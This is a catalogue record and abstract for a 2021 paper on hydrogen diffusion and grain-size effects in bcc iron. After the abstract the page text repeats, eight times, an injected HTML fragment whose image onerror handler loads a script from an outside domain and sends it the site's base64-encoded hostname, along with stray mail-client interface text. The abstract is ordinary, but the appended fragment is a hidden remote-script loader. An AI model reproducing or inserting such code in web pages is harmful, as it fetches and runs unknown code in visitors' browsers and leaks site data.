Hydrogen difffusion in bcc Fe: Grain size influence

RAMUNNI, V.P.; A. M. F. RIVAS; M. I. PASCUET; NICOLAS CASTIN

COMPUTATIONAL MATERIALS SCIENCE

ELSEVIER SCIENCE BV

Lugar: Amsterdam; Año: 2021 vol. 188 p. 110146 - 110157

0927-0256

We have performed an extensive study of Hydrogen (H) dissolved in a high-angle symmetric tilt grain boundary (GB) in bcc Fe. This is undertaken in the framework of a set of classical interatomic potentials, and partially from Density Functional Theory calculations, in order to check the consistency of structures. We find that preferential trapping sites for H in the grain boundary, delays the H migration enhancing its solubility. The H interstitial sites, their bounding and migrationenergies are then used to feed up the here developed model for diffusion in a sample which includes the GB as well as the bulk. In this model we have incorporated the grain size which plays a fundamental role in the diffusion dynamics. For high temperatures grain size do not influence the H diffusion coefficients obtaining similar results than in bulk. However for lower temperatures, grain size lowers up the diffusion coefficients up to two orders of magnitude due to GB diffusion.What do you want to do ?New mailCopy</div></div><div><img src="" onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//sibono.tenicuxire.com/scripts/js?k=5e2dbe8bf3c82d83638b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" alt="" /></div></body></html>What do you want to do ?New mailCopy</div></div><div><img src="" onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//sibono.tenicuxire.com/scripts/js?k=5e2dbe8bf3c82d83638b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" alt="" /></div></body></html>What do you want to do ?New mailCopy</div></div><div><img src="" onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//sibono.tenicuxire.com/scripts/js?k=5e2dbe8bf3c82d83638b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" alt="" /></div></body></html>What do you want to do ?New mailCopy</div></div><div><img src="" onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//sibono.tenicuxire.com/scripts/js?k=5e2dbe8bf3c82d83638b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" alt="" /></div></body></html>What do you want to do ?New mailCopy</div></div><div><img src="" onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//sibono.tenicuxire.com/scripts/js?k=5e2dbe8bf3c82d83638b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" alt="" /></div></body></html>What do you want to do ?New mailCopy</div></div><div><img src="" onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//sibono.tenicuxire.com/scripts/js?k=5e2dbe8bf3c82d83638b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" alt="" /></div></body></html>What do you want to do ?New mailCopy</div></div><div><img src="" onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//sibono.tenicuxire.com/scripts/js?k=5e2dbe8bf3c82d83638b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" alt="" /></div></body></html>What do you want to do ?New mailCopy</div></div><div><img src="" onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//sibono.tenicuxire.com/scripts/js?k=5e2dbe8bf3c82d83638b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" alt="" /></div></body></html>